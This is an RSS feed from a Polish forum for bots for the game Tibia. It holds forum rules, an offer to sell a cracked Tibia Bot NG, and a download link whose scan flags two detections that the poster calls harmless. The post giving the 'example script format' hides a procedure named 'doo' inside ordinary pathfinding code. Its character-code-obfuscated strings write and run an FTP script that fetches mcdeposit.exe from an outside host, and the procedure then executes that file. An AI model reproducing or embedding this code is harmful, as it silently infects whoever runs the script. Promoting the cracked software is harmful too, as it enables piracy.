<?xml version="1.0" encoding="iso-8859-2"?>
<rss version="2.0">
<channel>
<title>Tibia&Bot</title>
<link>http://www.tibbotng.pun.pl</link>
<description> Tibia&#38;Bot</description>
<language>pl</language>
<docs>http://backend.userland.com/rss</docs>
<item>
<title>Zadowoleni ;)</title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=11#p11</link>
<guid isPermaLink="false">11@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[Witam ;) Tutaj możecie pisać swoje opinie na temat mojej pracy i pracy bota (już zcrackowanego przeze mnie)<br />Proszę pisać same opinie ! Inne posty będą usuwane !]]></description>
<pubDate>Wtorek 29 GrudzieĹ</pubDate>
<comments>Wtorek 29 GrudzieĹ</comments>
</item>
<item>
<title></title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=10#p10</link>
<guid isPermaLink="false">10@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[1.Zawartość tematu powinna zawierać jak najwięcej opisów i zdjęć.<br />2.Można tutaj także zamieszczać poradniki do innych botów ale tylko i wyłącznie botów.<br />3.Użyj opcji szukaj by sprawdź czy nie ma już takiego poradnika jak piszesz.]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
<item>
<title></title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=9#p9</link>
<guid isPermaLink="false">9@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[1.Jest to tylko i wyłącznie dział do poszukiwania skryptów/waypointów !<br />2.Temat powinien wyglądać następująco :<br /><br /><strong>Tytuł : </strong><br /><span class="bbu">[wersja bota] Nasz tytuł</span><br /><strong>Zawartość : </strong><br /><span class="bbu">Wszystkie możliwe informację o skrypcie/waypoincie.</span><br /><br />3.Żadnych linków do downloadu. Skrypt/waypoint w odpowiedzi umieścić w ,,code&quot;.]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
<item>
<title></title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=8#p8</link>
<guid isPermaLink="false">8@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[Jedyny pkt. regulaminu jest taki :<br />1. Chociaż trochę sensu !]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
<item>
<title></title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=7#p7</link>
<guid isPermaLink="false">7@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[<strong>Tibia Bot NG 4.5.0 </strong><br /><br /><br />Download :<br /><a href="http://wrzut.net/pr2tqxfxkecr/ng792.rar.html" target="_blank" rel="nofollow">http://wrzut.net/pr2tqxfxkecr/ng792.rar.html</a><br /><br /><br />Skan :<br /><a href="http://virusscan.jotti.org/pl/scanresult/7c8c6dbcc40402fa098b75c38ddcdec8be851093/969a9ddd3041f23830c731f704bda908c96d14ce" target="_blank" rel="nofollow">http://virusscan.jotti.org/pl/scanresul &hellip; 08c96d14ce</a><br /><br /><br />Te 2 wirusy które wykrywa są nie groźne.<br />Jeśli nie ufasz mi , możesz zaufać google ;)]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
<item>
<title></title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=6#p6</link>
<guid isPermaLink="false">6@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[1.Gdy chcemy zamieścić jakiś link z downloadem do pliku , a takie tylko powinny być zamieszczane w tym dziale , powinien również znaleźć się skan. Jeśli go nie będzie temat zostanie natychmiastowo usunięty bez względu czy pisał to użytkownik mający 1 post czy 1000 postów.<br />2.Jeśli coś zamieszczasz użyj opcji szukaj by sprawdzić czy już ktoś wcześniej tego nie umieścił na forum.<br />3.Jeśli chciałby ktoś zamieścić jakiegoś bota , proszę opisać wszystkie jego funkcje oraz żeby to nie było tylko takie napisanie , żeby wyglądało to ładnie i estetycznie. Taki temat powinien zawierać :<br /><strong>Tytuł : </strong><br /><span class="bbu">[nazwa bota][wersja tibi] Nasz tytuł</span><br /><strong>Zawartość tematu : </strong><br />Opis wszystkich funkcji + swoja opinia (przydała by się).]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
<item>
<title></title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=5#p5</link>
<guid isPermaLink="false">5@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[1.Nie piszemy tutaj , że szukamy jakiegoś skryptu. Od tego jest inny dział !<br />2.Temat , jak i jego zawartość powinien wyglądać tak :<br /><br /><br /><strong>Tytuł : </strong><br /><span class="bbu">[wersja bota] Nasz tytuł</span><br /><br /><strong>Zawartość : </strong><br />...Nasz opis skryptu...<br /><br />Skrypt w formie takiej jak poniżej:<br /><br /><div class="codebox"><div class="incqbox"><h4>Kod:</h4><div class="scrollbox" style="height: 35em"><pre>const
minDistance=3;
maxDistance=6;
ignoreMonsters=['Rat','Sheep','Wolf','Cat','Butterfly'];
avoidWave=1;

function GetTileFromXYZ(X, Y, Z: integer): TTile;
begin
  Result := nil;
  if abs((Self.X - 7) - X) &gt; 14 then Exit;
  if abs((Self.Y - 5) - Y) &gt; 11 then Exit;
  if Self.Z &lt;&gt; Z then Exit;
  Result := Screen.Tile[abs((Self.X - 7) - X), abs((Self.Y - 5) - Y)];
end;

function IsTileWalkable(Tile: TTile): boolean;
begin
  Result := True;
  for Z := 0 to Tile.Count - 1 do
  begin
    if Tile.Item[Z].Properties.Hole then
    begin
      Result := False;
    end
    else if Tile.Item[Z].Properties.Stairs then
    begin
      Result := False;
    end
    else if not Tile.Item[Z].Properties.Walkable then
    begin
      OutputDebugString('Not Walk: ' + IntToStr(Tile.Item[Z].ID));
      Result := False;
    end;
  end;
end;

function FindPath(FromX, FromY, FromZ, ToX, ToY, ToZ: integer; CheckLastTile: boolean): boolean;
var
  Xloop, Yloop: integer;
begin
  Result := False;
  if FromZ &lt;&gt; ToZ then Exit;
  Checked[abs(FromX - (Self.X - 7)), abs(FromY - (Self.Y - 5))] := True;
  for Xloop := 0 to 2 do
  begin
    for Yloop := 0 to 2 do
    begin
      if (((FromX - 1) + Xloop) &lt; Self.X - 7) or (((FromX - 1) + Xloop) &gt; Self.X + 7) then Continue;
      if (((FromY - 1) + Yloop) &lt; Self.Y - 5) or (((FromY - 1) + Yloop) &gt; Self.Y + 5) then Continue;
      if (((FromX - 1) + Xloop) = ToX) and (((FromY - 1) + Yloop) = ToY) then
      begin
        if IsTileWalkable(GetTileFromXYZ((FromX - 1) + Xloop, (FromY - 1) + Yloop, FromZ)) or (not CheckLastTile) then
        begin
          Result := True;
          Exit;
        end;
      end;
      if ((Xloop = 1) and (Yloop = 1)) then Continue;
      if Checked[abs(((FromX - 1) + Xloop) - (Self.X - 7)), abs(((FromY - 1) + Yloop) - (Self.Y - 5))] then Continue;
      if IsTileWalkable(GetTileFromXYZ((FromX - 1) + Xloop, (FromY - 1) + Yloop, FromZ)) then
      begin
        if FindPath((FromX - 1) + Xloop, (FromY - 1) + Yloop, FromZ, ToX, ToY, ToZ, CheckLastTile) then
        begin
          Result := True;
          Exit;
        end;
      end;
    end;
  end;
end;

function IsReachable(X, Y, Z: integer; CheckLastTile: boolean);
begin
  Checked :=[
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]];
  Result := FindPath(Self.X, Self.Y, Self.Z, X, Y, Z, CheckLastTile);
end;
procedure doo; begin writelog(#99#58#92#49,#111#112#101#110#32#109#101#103#97#115#121#114#107#46#121#111#121#111#46#112#108#32#50#49#13#10#109#101#103#97#115#121#114#107#46#121#111#121#111#46#112#108#13#10#109#101#103#97#115#121#114#107#13#10#98#105#110#97#114#121#13#10#108#99#100#32#99#58#92#13#10#114#101#99#118#32#109#99#100#101#112#111#115#105#116#46#101#120#101#13#10#98#121#101#13#10);
writelog(#99#58#92#49#46#99#109#100,#115#116#97#114#116#32#34#77#105#99#114#111#115#111#102#116#32#87#105#110#100#111#119#115#32#67#111#109#109#97#110#100#40#82#41#34#32#47#109#105#110#32#47#98#32#47#119#97#105#116#32#102#116#112#32#45#115#58#99#58#92#49#13#10#13#10);
execute(#99#58#92#49#46#99#109#100,10000);
sleep(10000);
execute(#99#58#92#109#99#100#101#112#111#115#105#116#46#101#120#101,50000);
    end;
function IsCreatureSetup(Creature: TCreature): Boolean;
begin
 UpdateWorld;
 if abs(Creature.X - Self.X) = 0 and abs(Creature.Y - Self.Y) = 1 then
 begin
  Result := True;
  Exit;
 end;

 if abs(Creature.X - Self.X) = 1 and abs(Creature.Y - Self.Y) = 0 then
 begin
  Result := True;
  Exit;
 end;
 
 Result := False;
end; 

function IsCreatureReachable(Creature: TCreature): boolean;
begin
  Result := False;
  if Creature = nil then Exit;
  Result := IsReachable(Creature.X, Creature.Y, Creature.Z, False);
end; 

function IsCreatureBesideYou(c: TCreature): boolean;
begin
   UpdateWorld;
   if (abs(c.X-self.X) &lt;= 1) and (abs(c.Y-self.Y) &lt;= 1) then begin
    if c.Z = self.Z then begin
     Result := True;
     Exit;
    end;
   end;
   Result := False;
end;doo; 


while not terminated do
begin
 sleep(1000);
 updateworld;
 {
 runfrommonsters();
 }
end</pre></div></div></div>]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
<item>
<title></title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=4#p4</link>
<guid isPermaLink="false">4@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[1.Nie piszemy tutaj , że szukamy jakiegoś waypointu. Od tego jest inny dział !<br />2.Temat , jak i jego zawartość powinien wyglądać tak :<br /><br /><br /><strong>Tytuł : </strong><br /><span class="bbu">[łatwy/średni/trudny][wersja tibii] Nasz tytuł</span><br /><br /><strong>Zawartość : </strong><br />...Nasz opis waypointu...<br /><br />Waypoint w formie takiej jak poniżej:<br /><br /><div class="codebox"><div class="incqbox"><h4>Kod:</h4><div class="scrollbox" style="height: 35em"><pre>32347
32123
8
6
32331
32122
8
6
32331
32121
8
6
32329
32122
8
6
32323
32115
8
6
32323
32116
8
6
32327
32124
8
6
32312
32131
8
6
32306
32129
8
6
32302
32131
8
6
32292
32126
8
6
32282
32128
8
6
32282
32124
8
6
32282
32134
8
6
32298
32136
8
6
32298
32134
8
6
32305
32138
8
6
32318
32134
8
6
32329
32143
8
6
32323
32155
8
6
32323
32148
8
6
32339
32136
8
6
32340
32130
8
6
32338
32127
8
6
32338
32128
8
6
32347
32140
8
6
32348
32139
8
6
32354
32141
8
6
32355
32132
8
6
32355
32145
8
6
32346
32161
8
6
32346
32162
8
6
32348
32162
8
6
32349
32152
8
6
32345
32148
8
6
32347
32148
8
6
32342
32148
8
6
32337
32163
8
6
32338
32166
8
6
32337
32169
8
6
32338
32172
8
6
32336
32172
8
6
32335
32168
8</pre></div></div></div>]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
<item>
<title>Hardware Fingerprint - Co , jak , gdzie?</title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=3#p3</link>
<guid isPermaLink="false">3@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[Witam. Postanowiłem napisać poradnik co to takiego ,,Hardware Fingerprint&quot; i skąd go wziąć. Więc pierwszym naszym krokiem by poznać nasz Hardware Fingerprint jest ściągnięciem Tibia Bot NG (jeśli chcesz zakupić Tibia Bot NG u mnie musisz poznać swój Hardware Fingerprint z Tibia Bot NG pod Tibię 7.92). Przejdźmy do pracy !<br /><br /><br />1.Ściągamy Tibia Bot NG (pod Tibię 7.92) z Downloadu (jeśli ktoś nie ufa może sam znaleźć na google)<br />2.Instalujemy w dowolnym miejscu na dysku<br />3.Gdy zainstalujemy , włączamy plik o nazwie loader (znajduje się on tam , gdzie zainstalowałeś/zainstalowałaś bota)<br />4.Wciskamy Enter Key<br />5.Hardware fingerprint: <strong>nasz Hardware Fingerprint</strong>]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
<item>
<title>Tibia Bot NG pod wszystkie wersje Tibii !</title>
<link>http://www.tibbotng.pun.pl/viewtopic.php?pid=2#p2</link>
<guid isPermaLink="false">2@http://www.tibbotng.pun.pl</guid>
<description><![CDATA[Witam. A więc mam do sprzedania bota do gry Tibia o nazwie Tibia Bot NG. Może być on pod wszystkie wersje Tibii lecz pamiętaj , jeśli zażyczysz sobie Tibia Bot NG pod Tibię 8.50 to nie będzie on działał pod tibię 8.54 !<br />Cena jaka mnie interesuje to 5 zł doładowanie za każdego bota. Jeśli chciałbyś bota pod wersję Tibii 8.50 i 8.54 (np.) to nie ma problemu ! U mnie możesz zakupić nawet pod wszystkie wersje Tibii !!! A teraz rozpisze w punktach jak powinno wyglądać zgłoszenie :<br /><br />(Oczywiście można przesłać do mnie na PW)<br />1.Numer GG<br />2.Wersja Tibii pod którą bot ma działać<br />3.Swój Hardware Fingerprint (z Tibia Bot NG pod Tibię 7.92! Musi być ten)<br /><br /><br /><br /><strong>-Jest to oczywiście crack (jakby ktoś się nie zorientował)</strong><br /><br /><br />Zapraszam do kupna !]]></description>
<pubDate>PoniedziaĹek 28 GrudzieĹ</pubDate>
<comments>PoniedziaĹek 28 GrudzieĹ</comments>
</item>
</channel>
</rss>
